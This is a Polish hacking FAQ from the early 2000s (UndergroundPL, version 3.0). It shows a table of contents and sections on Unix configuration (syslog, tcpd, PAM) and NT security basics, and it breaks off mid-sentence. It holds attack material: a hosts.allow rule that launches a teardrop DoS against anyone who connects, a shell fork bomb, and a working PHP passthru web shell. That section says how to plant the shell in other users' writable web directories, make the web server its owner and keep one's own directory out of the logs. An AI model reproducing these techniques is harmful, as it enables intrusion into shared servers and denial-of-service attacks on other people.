
     UndergroundPL FAQ wer.3.0 (txt) Y2K+2 http://www.underground.org.pl

  -._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-.
        Zarowno autorzy jak i redakcja nie ponosza odpowiedzialnosci za
     nieprawidlowe (czytaj: nie zgodne z prawem) wykorzystanie zawartych w
     niniejszym dokumencie informacji. Dokument powstal wylacznie w celach
   edukacyjnych. Redakcja zastrzega sobie prawo do modyfikacji, korekty oraz
                        selekcji nadeslanych materialow.
  -._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-.

      red.: l4vim
  patronat: MajDom
      txt.: ac2in  Alexia  Bohun  FIDO  gabber9  GiM  golomb  GrafZer0  l4vim
            magnatlu  MaD_roGEr  Majdom  Maxim  megadooz  craYfish  Morph3R
            00ZI3  p.e.a.  PPN  Ranger  Skup  srpy  tas  QwErR  ???
   kontakt: l4vim@underground.org.pl

  ----------------------------- TRESCI SPIS --------------------------------

0     Z Wstepniak .....................................................(l4vim)

UNIX(Linux) HACKING/SECURITY:

1.1     Syslogd .......................................................(l4vim)
1.1a     Zrodla komunikatow ...........................................(l4vim)
1.1b     Rodzaje komunikatow ..........................................(l4vim)
1.2a    Plik /etc/hosts.allow i /etc/hosts.deny .....................(gabber9)
1.2b    Plik /etc/inetd.conf ........................................(gabber9)
1.2c    Plik /etc/services ............................................(l4vim)
1.2d    Plik ~/.rhosts ..............................................(gabber9)
1.2e    Plik /etc/securetty ...........................................(l4vim)
1.3     PAM'y .........................................................(l4vim)
1.3a     /etc/pam.d/su ................................................(l4vim)
1.3b     /etc/security/limits.conf ....................................(l4vim)
1.3c     /etc/nologin .................................................(l4vim)
1.4  N  PHP shell .....................................................(l4vim)

NT HACKING/SECURITY:

2.1a    Dlaczego napisalem to FAQ ? ..................................(MajDom)
2.1b    Co powinienes wiedziec .......................................(MajDom)
2.2     Podstawy .....................................................(MajDom)
2.2a     Jak zabezpieczony jest system NT? ...........................(MajDom)
2.2b     Jak dziala uwierzytelnianie uzytkownika? ....................(MajDom)
2.2c     Jakie sa roznice miedzy domena a grupa robocza? .............(MajDom)
2.2d     Co to jest Service Pack ? ...................................(MajDom)
2.2e     Co to jest Hot Fix ? ........................................(MajDom)
2.2f     Co to jest zabezpieczenie C2 ................................(MajDom)
2.3     Hasla w NT ...................................................(MajDom)
2.3a     Gdzie ukryte sa hasla w NT? .................................(MajDom)
2.3b     Jak moge zlamac/odkodowac haslo NT ..........................(MajDom)
2.3c     Co to jest lamanie "brute force"? ...........................(MajDom)
2.3d     Co to jest lamanie hasla z pomoca slownika? .................(MajDom)
2.3e     Jaka z wymienionych metod jest najlepsza? ...................(MajDom)
2.4     Rds ........................................................(GrafZer0)
2.4a     Problem ...................................................(GrafZer0)
2.4b     Mozliwe rozwiazania .......................................(GrafZer0)
2.4c     Inne sytuacje .............................................(GrafZer0)
2.4d     Wykrywanie ataku przy uzyciu msadc.pl .....................(GrafZer0)
2.4e     Podsumowanie ..............................................(GrafZer0)
2.4f     Odnosniki do zasobow ......................................(GrafZer0)

PROTOKOLY:

3.1     TCP ...........................................................(l4vim)
3.1a N   TCP/IP w praktyce ............................................(ac2in)

TECHNIKI:

4.1     Sniffing ......................................................(l4vim)
4.2     Spoofing ......................................................(l4vim)
4.2a     prosty spoofing ..............................................(l4vim)
4.2b N   rsh spoofing ...................................................(tas)

NO SECURITY (WINDOWS):

5.1     Pliki .LNK ....................................................(l4vim)
5.2     Panel sterowania .............................................(golomb)
5.3a    Sposob na shell'a 1 ............................................(Skup)
5.3b    Sposob na shell'a 2 ...........................................(l4vim)
5.3c    Sposob na shell'a 3 ...........................................(l4vim)
5.4  N  Rekurencyjne kopiowanie .......................................(l4vim)
5.5  N  Co to jest i jak dziala firewall ..............................(QwErR)
5.5a N   Jakie sa rodzaje firewalli ...................................(QwErR)
5.5b N   Jakie sa najlepsze firewalle .................................(QwErR)

LINUX (S.u.S.E.):

6.1     Wstep ................................................(Ranger & Maxim)
6.1a     Spis dystrybucji Linuxa .............................(Ranger & Maxim)
6.1b     Skad wziasc Linuxa? .................................(Ranger & Maxim)

6.2     Instalacja Linuxa SuSE ...............................(Ranger & Maxim)

6.3     Obsluga Linuxa SuSE ..................................(Ranger & Maxim)
6.3a     Struktura katalogow .................................(Ranger & Maxim)
6.3b     Polecenia Linuxa ....................................(Ranger & Maxim)
6.3c     Powloka i skrypty ...................................(Ranger & Maxim)
6.3c1     Zmienne ............................................(Ranger & Maxim)
6.3c2     Polecenie test ...........................(Ranger & Maxim & Gabber9)
6.3c3     Instrukcja warunkowa ...............................(Ranger & Maxim)
6.3c4     Petle ..............................................(Ranger & Maxim)
6.3c5     Robimy pierwszy przydatny skrypt ...................(Ranger & Maxim)
6.3c6     Inne jezyki skryptowe ..............................(Ranger & Maxim)
6.3d     Mountowanie dyskow ..................................(Ranger & Maxim)

6.4     X'y i KDE ............................................(Ranger & Maxim)
6.4a     Ogolnie o X'ach .....................................(Ranger & Maxim)
6.4b     Konfiguracja, SaX ...................................(Ranger & Maxim)
6.4c     Uruchamianie X'a ....................................(Ranger & Maxim)
6.4d     KDE .................................................(Ranger & Maxim)
6.4e     Polskie czcionki ....................................(Ranger & Maxim)
6.4f     PPP dla KDE .........................................(Ranger & Maxim)

6.5     RPM ..................................................(Ranger & Maxim)
6.6a    Kernel i aktualizacja Linuxa .........................(Ranger & Maxim)
6.6b    Kompilacja kernela ...................................(Ranger & Maxim)

6.7     Dodatek ..............................................(Ranger & Maxim)
6.7a     Telnet, Sendmail ....................................(Ranger & Maxim)
6.7b     Obsluga FTP .........................................(Ranger & Maxim)
6.7c     Obsluga serwera WWW-Apache ..........................(Ranger & Maxim)
6.7d     DOSEMU ..............................................(Ranger & Maxim)
6.7d1     Instalacja DOSEMU ..................................(Ranger & Maxim)
6.7d2     Konfiguracja DOSEMU ................................(Ranger & Maxim)

6.8a    Linki w Polsce .......................................(Ranger & Maxim)
6.8b    Linki na swiecie .....................................(Ranger & Maxim)

IRC:

7.1     Historia IRC ..................................................(Bohun)
7.2     Co to jest IRC ................................................(Bohun)
7.3     Co Potrzebuje aby IRCowac? ....................................(Bohun)
7.4     Serwery w Polsce ..............................................(Bohun)
7.5     IP ............................................................(Bohun)
7.6     Pierwsze kroki w mIRCu ........................................(Bohun)
7.7     Pojecia .......................................................(Bohun)
7.8     +r ?? .........................................................(Bohun)
7.9     Atrybuty kanalu ...............................................(Bohun)
7.10    FAQ ...........................................................(Bohun)
7.11 N  Sztuczki ..............................................(Bohun & l4vim)
7.12    BOTY ..........................................................(Bohun)
7.12a    Co potrzebujemy ..............................................(Bohun)
7.12b    Jak Postawic BOTA ............................................(Bohun)
7.12c    Podstawowe komendy ...........................................(Bohun)
7.12d    Skypty na BitchX, IRC II .....................................(Bohun)
7.13    Java IRC ......................................................(Bohun)
7.14    Podsieci IRC ..................................................(Bohun)
7.15    Linki .........................................................(Bohun)

VIRII:

8.0     (..) ..........................................................(00ZI3)
8.1     BAT virii .....................................................(00ZI3)
8.1a    Komendy potrzebne do sworzenia wirusa .........................(00ZI3)
8.1b    Budowa wirusa typu .bat .......................................(00ZI3)
8.1c    Kod wirusa ....................................................(00ZI3)
8.2  N  Polimorfizm ...............................................(MaD roGEr)
8.2a N   Wstep ....................................................(MaD roGEr)
8.2b N   Co to jest polimorfizm ...................................(MaD roGEr)
8.2c N   Rodzaje polimorfizmu z podzialem na poziomy zatosowania ..(MaD roGEr)
8.2d N   Podatnosc na heurytyke ...................................(MaD roGEr)
8.2e N   Techniki "dodatkowe" .....................................(MaD roGEr)
8.2f N   Zakonczenie ..............................................(MaD roGEr)
8.3  N  Wykrywanie wirusow ........................................(MaD roGEr)
8.3a N   Scan-String ..............................................(MaD roGEr)
8.3b N   Scan-String ze znakami zastepczymi .......................(MaD roGEr)
8.3c N   Sledzenie ................................................(MaD roGEr)
8.3d N   Systemy uruchomieniowe ...................................(MaD roGEr)
8.3e N   Emulacja .................................................(MaD roGEr)
8.3f N   Interpretery .............................................(MaD roGEr)
8.3g N   CO dalej? ................................................(MaD roGEr)

TROJANY:

9.1     Zasada dzialania i mozliwosci .................................(l4vim)
9.2     Podrzucanie ................................................(megadooz)
9.3     Wykrywanie i unieszkodliwianie ................................(l4vim)
9.4     Ukrywanie trojanow .........................................(megadooz)
9.5     Uzywanie trojanow ..................................(megadooz & l4vim)
9.6     Wykrywanie proby wlamu ........................................(l4vim)
9.7     Trojan by gates ............................................(megadooz)
9.8     UNIX(Linux) trojan ............................................(l4vim)

BUGS:

10      Internet Explorer .........................................(PPN & ???)
10.1a    BUG 1 ....................................................(PPN & ???)
10.1b    BUG 2 ....................................................(PPN & ???)
10.1c N  BUG 3 ..........................................................(GiM)
10.2 N  Flash ......................................................(magnatlu)

DESTRUKCJA:

11.1    Kill usenet e-mail'owy .......................................(Alexia)
11.2    Kill GSM ........................................................(PPN)
11.2a    +ulatwienie ..................................................(l4vim)
11.3a   Format 1 .......................................................(srpy)
11.3b   Format 2 ........................................................(GiM)

INNE:

99.1    Haslo BIOSu ...........................................(FIDO & Alexia)
99.2    Internet Worm'88 ............................................(Gabber9)
99.3    Atomic bomb .....................................................(PPN)
99.4    Zadyma rulez .................................................(Alexia)
99.5    Anonimowosc ..................................................(p.e.a.)


  ---------------------------- KONIEC TRESCI SPISU ----------------------------

  _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
  0    Wstepniak

Mamy przyjemnosc zaprezentowac trzecia juz edycje UndergroundPL faq.
Mamy nadzieje, ze nowe artykuly wynagrodza czas jaki trzeba bylo na niego
czekac. Dzieki za maile, szczegolnie te ze slowami krytyki dzieki ktorym wiemy
co mozna zmienic, udoskonalic. Piszcie do nas i przesylajcie artykuly
do kolejnej edycji. Nie mydlac oczu nie obiecujemy, ze rychlo bedzie ona
dostepna, bo to zalezy tylko od waszej aktywnosci.


  ----------------------- UNIX(Linux) HACKING/SECURITY ------------------------

  _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
  1.1    Syslog


Syslogd (Syslog demon)odpowiedzialny jest za zbieranie logow systemowych. Warto
wiec poznac tajniki jego konfiguracji. Postaram sie z grubsza opisac co
najwazniejsze. Syslog interesuje sie trzema zrodlami:

/dev/klog - odbiera komunikaty wysylane przez kernel'a
/dev/log  - odbiera komunikaty wysylane przez procesy dzialajace na lokalnej
maszynie
port 514  - odbiera logi z innych maszyn

Default'owy plik konfiguracyjny demona syslog to /etc/syslog.conf
Wyglada to mniej wiecej tak:

#kern.*                                  /dev/console
*.info;mail.none;authpriv.none           /var/log/messages
authpriv.*                               /var/log/secure
mail.*;mail.!=info                       /var/log/maillog
mail.info                                /var/log/info
*.emerg                                  *
uucp,news.crit                           /var/log/spooler
local7.*                                 /var/log/boot.log
*.alert                                  root
auth.notice                              @guard.com

Wpisy zaczynajace sie od # sa ignorowane (sa to komentarze lub "wyremowane"
linijki) tak jak np:

#kern.*                                  /dev/console

Na konfiguracje syslogd maja wplyw 3 pola:
zrodlo_komunikatu.rodzaj_komunikatu      wyjscie

  _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
  1.1a    Zrodla komunikatow:


auth - dane zwiazane z autoryzacja
authpriv - inne komunikaty zwiazane z autoryzacja
cron - komunikaty crond (demona cron)
daemon - inne demony
ftp - bez komentarza
kern - jadro systemu
local0-local7 - komunikaty lokalne
lpr - system obslugi drukarki
mail - bez komentarza
mark - w regularnych odstepach czasu wysyla date i czas
news - system wiadomosci
syslog - komunikaty demona syslog
user - procesy uzytkownikow
uucp - komunikaty protokolu uucp

* - wszystkie z wyjatkiem mark
! - znaczy tyle co za wyjatkim np. zapis:

mail.*;mail.!=info                      /var/log/maillog
mail.info                               /var/log/info

..oznacza, ze wszystkie rodzaje komunikatow dotyczace uslugi mail zostana
zapisane do pliku /var/log/maillog za wyjatkiem komunikatow informacyjnych,
ktore zapisane zostana do /var/log/info (2 linijka)

  _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
  1.1b    Rodzaje komunikatow:


alert - wymagajace natychmiastowego dzialania
crit - krytyczne
debug - uruchomieniowe
emerg - sytuacje zagrozenia (np. mogace zatrzymac system)
err - bledy
info - informacyjne
notice - wymagajace zwrocenia szczegolnej uwagi
none - po prostu nic :-)
warning - ostrzezenia
Syslogd otrzymujac komunikat ocenia go na podstawie zawartych w pliku
/etc/syslog.conf informacji i kieruje w odpowiednie miejsce np.
/var/log/messages - kieruje komunikat do pliku
/dev/console - kieruje komunikat na aktualnie pracujaca konsole
root - kieruje komunikat do wszystkich zalogowanych jako root
@guard.com - wysyla komunikat na port 514 komputera guard.com
* - wysyla komunikat do wszystkich zalogowanych

Syslogd moze byc uruchomiony z roznymi parametrami. Nalezy to sprawdzic:
$ ps -aux|grep syslogd

Dokladny opis konfiguracji syslogd (opis parametrow itd.) zawiera manual
systemowy.

PS. port 514 jest oczywiscie defaultowym portem i moze byc zmieniony poprzez
odpowiednia zmiane w pliku /etc/services

  _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
  1.2a    Pliki /etc/hosts.allow i /etc/hosts.deny


  Pliki te okreslaja komu i gdzie zezwala sie polaczyc z serverem, a komu nie.
  Plik hosts.allow okresla kto moze polaczyc sie z srewerem, a plik hosts.deny,
  okresla komu sie zabrania.
  W plikach tych wpisuje sie nastepujace opcje:
    ALL - Oznacza wszystkie dopuszczalne wartosci
    LOCAL - Zgadza sie z nazwa bez .
    UNKNOWN - Oznacza maszyny o nieznanej nazwie lub adresie IP
    KNOWN - Oznacza maszyn znanej nazwie i znanym adresie IP
    PARANOID - Reprezentuje maszyny, ktorych nazwa nie zgadza sie z adresem IP
  Dostepnymi opcjami sa:
    accept - oznacza, ze polaczenie musi byc zaakceptowane. Opcja ta powinna
       byc ostatnia w wierszu.
    deny - analogiczna do poprzedniej tyle ze odmawia polaczenia.
    spawn - uruchamia polecenie powloki po otrzymaniu polaczenia. np. chce
       uruchomic gadacza (speaker) za kazdym razem kiedy ktos sie ze mna laczy
       z zewnatrz. :)
    twist - to samo co spawn, tylko ze polaczenie jest przerywane po
       zakonczeniu wykonywania polececenia powloki. Ta opcja musi byc rownierz
       ostatnia w wierszu.
 Ostatnie dwie opcje maja dodatkowe znaki stosowane przez tcpd, sa to:
  %a - adres maszyny klienta
  %c - informacja o kliencie
  %d - nazwa procesu demona
  %h - nazwa lub adres IP klienta (jesli jest dostepny)
  %n - nazwa klienta
  %p - PID demona
  %s - info o serwerze
  %u - nazwa uzytkownika klienta
  %% - znak %
 Za pomoca tych wszystkich opcji mozna robic bardzo ciekawe rzeczy.
 Np. u mnie skonfigurowalem tak, ze kiedy ktos nieznany usiluje sie polaczyc
 z moim serverem przez FTP to odtwazany jest plik dzwiekowy mowiacy:
 "Warning! Unknown connection rejected on FTP port" po czym zrywa
 polaczenie, niedopuszczajac aby sie ze mna polonczono. W tym wypadku jestem
 alarmowany kiedy ktos chcial sie ze mna polaczyc.
 Albo jeszcze inaczej. Ustawilem tak ze, kiedy ktos z mojej sieci lokalnej
 loguje sie przez Telnet, to jestem o tym powiadamiany.
 Do tego moge ustawic tak ze kiedy ktos  nieznany bedzie chcial sie polaczyc
 przez Telnet, to bedzie mu wsylanany DoS (Denial of Service). Jest to troche
 chamskie wiec tego nie uzywam. Po za tym i tak wiem kto to byl, bo jest
 zostawiany slad w logach.
 Tak wiec do zeczy! Oto przyklady:

 # hosts.allow
 ALL:127.0.0.1 #to pozwala stacji lokalnej wchodzic wszedzie
 in.ftpd:ALL:spawn (wavplay /usr/share/sounds/inftp.wav & )  # to pozwala
    kazdemu wejsc przez ftp, ale uruchamia plik dzwiekowy, ktory mnie
    alarmuje o polaczeniu.
 in.telnetd:ALL:twist (teardrop %h %h ) # to wysyla atak DoS to tego kto
    usilowal sie ze mna polaczyc przez telnet ;)
 # koniec

 # hosts.deny
 ALL: .org.pl  #to zakazuje wejscia z domen org.pl
 in.fingerd:ALL  #wszystkim odmawia sie uslugi finger.
 # koniec

 Radze wam poeksperymantowac i dopasowac do wlasnych potzeb, wedlug wlasnego
 uznania. Bardziej szczegulowe informacje znajdziecie w podrecznikach man
 hosts_access(3), hosts.access(5) i tcpd.

  _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
  1.2b    Plik /etc/inetd.conf


 Plik ten okresla jakie uslugi maja byc dostepne przez INETD TCP/IP server.
 Jest to plik o ktorego radze zadbac, jesli zalezy nam na bezpieczenstwie.
 Pierwsze co ja robie to wylaczam usluge netstat (wstawiam # na poczatku lini)
 Robie tak bo nie zycze sobie aby ktokolwiek z zewnatz wiedzial jakie
 polaczenia sa u mnie aktywne.
 Pozniej robie to samo z fingerem, bo niepotrzebuje aby ktokolwiek z zewnatrz
 wiedzial kto u mnie jest teraz zalogowany.
 To sa dwie rzeczy ktore proponuje zrobic kazdemu.
 Oczywiscie proponuje tez dodatkowa lekture dla zainteresowanych, ktora sa
 pordeczniki man. radze poczytac o inetd(8). Tam jest wiekrzy stopien
 wtajemniczenia. :)


  _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
  1.2c    Plik /etc/services


 Plik jest lista najpopularniejszych (w zaleznosci od dystrybucji, ale ok.300)
 portow, ich nazw oraz protokolow (TCP/UDP/DDP). Niemal kazda linijka opatrzona
 jest skromnym komentarzem. Plik moze byc pomocny przy skanowaniu portow jako
 slowniczek. Pliki /etc/inetd.conf oraz /etc/services daja spore mozliwosci
 - mozna naprzyklad popodmieniac standardowe uslugi na jakies inne lub podstawic
 wlasny progz typu server, mozna tez postawic jednego z najprostrzych ale w
 pelni funkcjonalnych backdoor'ow (o tym juz w krotce)


  _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
  1.2d    Plik ~/.rhosts



  Plik ten jest prostym sposobem dostepu do swojego konta bez podawania hasla.
  Uzytkownik twozy w swoim katalogu plik o nazwie .rhosts w ktorym okresla
  ktore osoby i skad moga sie logowac na jego konto nie podajac im chasla.
  Oto przykladowy plik .rhosts

   # .rhosts
   garnet chris
   # To pozwala uzytkownikowi chris zalogowac sie z komputera garnet
   violet robert
   # To pozwala robertowi zalogowac sie z komputera violet
   # + +
   # Opcja ta pozwala kazdemu i z katkolwiek  na dostep do konta. Nie proponuje
   # jej uzywac! Dlatego zostala ona wylaczona (znak # na poczatku lini)

  Daje to taka wygode ze mozesz wykonywac polecenia za pomoca rsh na innych
  maszynach, oraz kopiowac pliki pomiedzy nimi za pomoca polecenia rcp.

  _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
  1.2e    Plik /etc/securetty


W tym pliku wymienione sa konsole, na ktore mozliwe jest zalogowanie sie
jako root. Tak wiec, jezeli nawet znamy passelko na root'a to telnetujac
sie login: root i passwd: passelko nic nam nie da jezeli w pliku securetty
nie bedzie wymieniona konsola jaka zostala nam przydzielona. Aby
skorzystac z passelka root'a nalezy uzyc "su". Do tego potrzebne
jest jakies konto zwyklego usera z prawami do uruchomienia su. Warto nadmienic
ze ssh nie uzywa securetty


  _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
  1.3     PAMy


PAM (Pluggable Authentication Modules for Linux) - samo rozwiniecie skrotu
wyjasnia juz chyba niemal wszystko..

  _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
  1.3a    /etc/pam.d/su


Administratorzy z wiadomych przyczyn blokuja mozliwosc wykonania "su".
Najczesciej poprzez nadania odpowiednich praw do uruhomienia pliku badz tez
edytujac plik /etc/pam.d/su. Aby pozwolic na wykonanie "su root" wybranej
grupie nalezy dopisac na poczatku pliku:

auth sufficient /lib/security/pam_rootok.so debug
auth required /lib/security/pam_wheel.so group=wheel

gdzie wheel bedzie nazwa grupy uprzywilejowana do wykonania "su root"


  _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
  1.3b    /etc/security/limits.conf


Zrobmy maly eksperyment:

[uesr@localhost user]$ echo -e './x\n./x\n./x' >> ./x
[user@localhost user]$ chmod 700 ./x
[user@localhost user]$ ls -l ./x
-rwx------   1 user   group                12 May  4 02:34 ./x
[user@localhost user]$ ./x

Efekt? W zaleznosci od sprzetu.. na moim poczciwym P100MHz doprowadzilo to do
komunikatow o braku pamieci i kolejno posypaly mi sie wszystkie demony.
Ostatecznie zabraklo pamieci nawet dla aktualnej konsoli (root) gdzie
prubowalem wklepac "ps aux" i mnie wylogowalo.. konca nigdy nie zobaczylem..
za malo jestem cierpliwy.
Na Celeronku efektem bylo zauwzalne spowolnienie pracy calego systemu.. moze
gdyby poczekac nieco dluzej..

Aby zapobiec temu i innym nieco bardziej ambitnym pomyslom nalezy ustalic
limity dla poszczegolnych grup. Nalezy przeedytowac plik
/etc/security/limits.conf na wzor umieszczonych w nim przykladow. Nastepnie
nalezy do pliku /etc/pam.d/login dodac linijke:

session required /lib/security/pam_limits.so


  _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
  1.3c    /etc/nologin


Jezeli istnieje plik /etc/nologin to mozliwosc logowania ma tylko root.
Admini uzywaja tego, gdy cos zmieniaja i nie chca by sie im ktos po systemie
platal badz w razie gdy ktos sie wlamie i trzeba najakis czas zamknac
dostep do maszyny. Obecnosc pliku /etc/nologin sprawdzana jest dzieki modulowi
pam_nologin. Wykasowanie linijki:

auth required /lib/security/pam_nologin.so

sprawi, ze zalozenie pliku /etc/nologin nic nie da :)


  _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
  1.4     PHP shell



PHP jest juz niemal nieodlacznym elementem kazdego szanujacego sie servera
www. Warto wiec poswiecic mu nieco czasu..
Oto 3 magiczne linijki, ktore moga byc bardzo pomocne w wielu sytuacjach:

<?
passthru($x);
?>

teraz tylko umiescic to w .plik.php w jakims katalogu udostepnianym przez
demona httpd. I mozemy juz bez problemu uruchamiac dowolne polecenia
z prawami demona httpd. Np aby uruchomic polecenie "id":

http://www.jakis.serv/lokalizacja/.plik.php?x=id

Jest to swietne przy serverach udostepniajacych wiele kont shellowych.
Z doswiadczenia wiem ze zawsze znajdzie sie paru(nastu) userow, ktorzy
zostawia prawa zapisu do swojego .public_html
Pozotaje jeszcze problem wlasciciela pliku.. nic prostrzego.
Tworzymy plik 2 raz tym razem przez php pliku pierwszego:

http://../.plik.php?cmd=echo -e "<?\npassthru(\$x);\n?>" >> ./.zool.php

Teraz wlascicielem bedzie apache lub httpd (w zaleznosci od dystrybucji)
a masa userow (szczegolnie tych co zotawiaja +w dla swoich katalogow)
nie kapnie sie nawet o co chodzi.
Wypadalo by jeszcze skasowac 1szy plik i zadbac o odpowiednie prawa dotepu
dla tego 2go.

Jeszcze 1 wazna uwaga - nie nalezy twozyc 1szego pliku u siebie w katalogu
- przy uzyciu go odkladaja sie logi i nie byloby to kozytne gdyby widdnial
w nich nasz katalog..

Aby sie zabezpieczyc przed tego typu atakami trzeba poswiecic jedynie nieco
czasu przy konfiguracji php na swoim serwerze. Dziw wiec bierze, ze perelki
tego typu znajduje sie z taka latwocia.


  --------------------------NT HACKING/SECURITY-------------------------------

  _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
  2.1a    Dlaczego napisalem to faq

Napisalem ten dokument dla Hackerow, ktorzy chca poznac system NT oraz
Administratorow, ktorzy sa tak leniwi, ze nie chca instalowac nawet najnowszych
Pakietow Serwisowych (Service Pack), nie mowiac juz o najnowszych poprawkach
sytemowych (HotFix). Mam nadzieje, ze z czasem to FAQ stanie sie dobrym zrodlem
informacji na temat bezpieczenstwa tego systemu.

  _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
  2.1b    Co powinienes wiedziec.

Piszac tego FAQ zakladam, ze znacie podstawy systemu NT. Nie oznacza to, ze FAQ
bedzie trudne i niezrozumiale. Oznacza to, ze do zrozumienia tekstu wypadaloby
znac choc minimum na temat tego sytemu. Postaram sie wprowadzic was w system NT
w rozdziale "PODSTAWY", jesli jednak nie macie zielonego pojecia co to NT,
serwer czy komputer to odradzam dalsze czytanie. Ostrzegam rowniez, ze nie bede
udzielac odpowiedzi na pytanie typu jak skonfigurowac RAS do callbacku czy jak
skonfigurowac karte sieciowa. Takie maile beda kasowane.

  _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
  2.2     PODSTAWY
  _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
  2.2a      Jak zabezpieczony jest system NT?

Podstawowe zabezpieczenie systemu NT (czyli takie, ktore wchodzi w standoardowy
sklad calego pakietu) sklada sie z kilku osobnych komponentow. Kazdy z nich ma
osobne zadanie w sytemie bezpieczenstwa dlatego bedziemy rozpatrywac je osobno.

LSA - Local Security Authority (Lokalne Zabespieczenie i Autoryzacja). LSA
odgrywa bardzo wazne znaczenie w systemie poniewaz odpowiedzialny jest za
uwierzytelnianie grup i uzytkownikow. Odpowiedzialny jest rowniez za generowanie
i logowanie wszystkich komunikatow dotyczacych Audytowania.

SAM - Security Account Manager (Menadzer Zabespieczania Kont) zadaniem tego
komponentu jest utrzymanie grup i uzytkownikow tak by mogly one byc
uwierzytelniane przez LSA.

SRM - Security Reference Monitor (Monitor Zabespieczen Referencji -odniesien,
odwolan) Jego zadaniem jest wymuszenie zanalizowanie i audytu dostepu do zasobu
dla LSA. Oznacza to, ze sprawdza konto uzytkownika kiedy ten odwoluje sie np.:
do pliku, katalogu czy dysku po to by dac/zakazac dostep do niego. Po takiej
operacji generowany jest log Audytu w przypadku gdy uzytkownik nie ma praw
dostepu do zasobu. Dziala to tak, ze w SRM dostepne sa kopie kodu dostepowego,
ktore sa sprawdzane i analizowane przez system by dalej padla decyzja o
poprawnosci praw do udostepnianych zasobow.

ACL - Access Control List (Lista Dostepu i Kontroli) Ciezko nazwac to procesem
bezpieczenstwa jednak odgrywa w nim pewna role. Jego zadaniem jest trzymanie
listy praw dostepowych. Jest to tak naprawde lista dzieki ktorej system wie np.:
kto moze wejsc do katalogu a kto nie.

UI - User Interface (Interfejs Uzytkownika) Bardzo wazna czesc calego modelu
Bezpieczenstwa. Jest to w zasadzie ostateczna kompilacja wszystkich komponentow,
ktorego forma skladowa jest to co widzimy na ekranie monitora.

  _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
  2.2b    Jak dziala uwierzytelnianie uzytkownika?

Uzytkownik loguje sie do systemu, w czasie gdy to sie dzieje NT udostepnia mu
cos ala identyfikator, wizytowke, ktora dalej przedstawia sie w systemie
bezpieczenstwa. Wszystkie procesy, ktore zostano przez uzytkownika uruchomione
sa kojarzone wlasnie z jego Identyfikatorem. Zanim uzytkownik np.: wejdzie do
katalogu uwierzytelniany jest przez ACL i ten dalej decyduje czy ma do katalogu
dostep czy nie.

  _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
  2.2c    Jakie sa roznice miedzy domena a grupa robocza?

NT jako system sieciowy uczestniczy w domenie lub grupie roboczej. Instalujac NT
workstation w domu zazwyczaj bedzie on uczestnikiem grupy roboczej. To, ze
komputer jest uczestnikiem grupy roboczej nalezy rozumiec, ze korzysta z hasel,
ktore zachowane sa lokalnie na jego dysku i tylko on ma do nich dostep. Stacja
robocza nie podlaczona w ogole do sieci jest rowniez sama w sobie grupa robocza
skladajaca sie z jednego komputera.

Zastosowanie domeny sprawdza sie bardzo dobrze w wiekszych firmach tam gdzie
mamy wieksza ilosc uzytkownikow i administratora, ktory opiekuje sie cala siecia
i wszystkimi jej uzytkownikami. W sklad domeny wchodzi co najmniej jeden serwer,
ktory odgrywa role PDC (Primary Domain Controler) oraz stacji roboczych
logujacych sie na ten serwer. Nie oznacza to, ze logowac moga sie tylko NTWks,
loguja sie w domenie inne systemy takie jak WfW, Win9x lub maszyny kompatybilne
z Lan Manager 2.x. To aby komputer mogl zalogowac sie w domenie musi byc jej
czescia, czyli miec konto na PDC. Sprawa ma sie tu zupelnie inaczej niz w grupie
roboczej poniewaz wszystkie hasla i informacje o uzytkowniku przechowywane sa
